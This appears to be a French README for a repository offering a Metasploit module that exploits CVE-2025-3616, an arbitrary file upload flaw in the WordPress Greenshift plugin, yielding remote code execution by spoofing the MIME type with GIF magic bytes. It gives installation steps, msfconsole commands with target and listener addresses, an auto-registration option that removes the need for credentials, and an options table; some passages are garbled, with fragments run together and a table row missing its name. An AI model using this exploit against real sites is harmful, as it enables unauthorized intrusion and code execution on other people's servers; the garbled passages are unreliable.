
Ce dépôt contient un module Metasploit pour exploiter CVE-2025-3616, une vulnérabilité de téléversement de fichier arbitraire dans le plugin WordPress Greenshift (versions 11.4 à 11.4.5).
L'exploit permet aux utilisateurs authentifiés (Subscriber+) de téléverser des fichiers arbitraires, menant à une exécution de code à distance (RCE). Il contourne la validation du type de fichier du plugin en usurpant le type MIME à l'aide d'octets magiques GIF (GIF89a;).
USERNAME/PASSWORD).REGISTER pour inscrire automatiquement un nouvel utilisateur et exploiter la vulnérabilité à l'aide des nouveaux cookies de session (utile si l'inscription est activée sur la cible).wp_rest requis depuis le tableau de bord d'administration.finfo_file().Assurez-vous d'avoir Metasploit Framework installé.
Copiez wp_greenshift_file_upload.rb dans votre répertoire de modules local :
mkdir -p ~/.msf4/modules/exploits/unix/webapp/
cp wp_greenshift_file_upload.rb ~/.msf4/modules/exploits/unix/webapp/
Démarrez msfconsole et rechargez les modules :
msfconsole
msf6 > reload_all
Si l'inscription des utilisateurs est activée sur la cible, vous n'avez pas besoin d'identifiants.
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER true
run
Si vous disposez déjà d'un utilisateur valide (Subscriber ou supérieur) :
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER false
set USERNAME <USER>
set PASSWORD <PASS>
run
Ce module est destiné uniquement à des fins éducatives et à des tests d'intrusion autorisés. L'utilisation de ce code pour attaquer des cibles sans consentement mutuel préalable est illégale.
| Option | Requis | Description |
|---|
| RHOSTS | oui | L'adresse de la cible |
| LHOST | oui | L'adresse d'écoute (votre IP) |
| REGISTER | non | Définissez sur true pour inscrire automatiquement un nouveau compte (par défaut : false) |
| USERNAME | non | Nom d'utilisateur WordPress (requis si REGISTER est false) |
| PASSWORD | non | Mot de passe WordPress (requis si REGISTER est false) |
| non | E-mail pour l'inscription (facultatif, généré automatiquement si vide) |